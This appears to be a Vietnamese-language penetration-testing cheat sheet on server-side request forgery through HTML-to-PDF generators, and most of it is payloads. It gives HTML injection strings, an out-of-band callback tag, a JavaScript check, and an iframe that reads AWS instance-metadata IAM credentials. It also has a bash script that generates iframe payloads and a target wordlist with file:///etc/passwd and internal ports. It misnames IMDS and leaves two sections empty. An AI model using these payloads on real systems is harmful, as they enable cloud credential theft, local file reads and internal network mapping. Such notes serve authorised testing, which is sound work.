Attack Vectors

Một số attack vectors có thể tấn công bằng cách sử dụng SSRF thông qua việc tạo file PDF:

  • IMDS: là metadata của các cloud services chẳng hạn như AWS.
  • PDF generator: bản thân generator cũng có thể có lỗ hổng.
  • Host/Service Discovery: các internal services.

Payloads

HTML Context

Một số payload để test xem ta có thể inject vào các context của HTML :

  • <h1>Big Header</h1><h5>Small Header</h5>: giữa 2 HTML tags.
  • '/><h1>Big Apostrophe</h1><h5>Little Apostrophe</h5>: dấu nháy đơn.
  • "/><h1>Big Quotation Mark</h1><h5>Little Quotation Mark</h5>: dấu nháy kép.

Out-Of-Band Connection

Để trigger out-of-band connection:

<img src="{{URL_IMAGE_OR_BURP_COLLABORATOR}}"></img>

JavaScript Execution

Để kiểm tra xem có thể thực thi JavaScript hay không:

">
<body id="body">
  <script>
    jsImg = new Image()
    jsImg.src = "https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L.png"
    document.getElementById("body").appendChild(jsImg)
  </script>
</body>

IMDS (International Material Data System)

Để truy xuất metadata của cloud services:

"><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials></iframe>

PDF Generator

Kiểm tra loại PDF generator và version của nó nhằm khai thác một lỗ hổng liên quan đến chỉnh bản thân PDF generator:

Host/Service Discovery

Tạo payload để discover các internal services khác sử dụng bash script:

HDR_OPEN='<h1>'
HDR_CLOSE='</h1>'
 
CRADLE_OPEN="<iframe src='"
CRADLE_CLOSE="' width='1000' height='1000'></iframe>"
 
make_payload () {
        printf $HDR_OPEN$1$HDR_CLOSE$CRADLE_OPEN$1$CRADLE_CLOSE
}
 
for target in `cat SSRF_targets.lst`; do make_payload $target; done

Với wordlist từ PayloadAllTheThings:

http://169.254.169.254/latest/
http://169.254.169.254.xip.io/
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
file:///etc/passwd
file://Windows/win.ini

Resources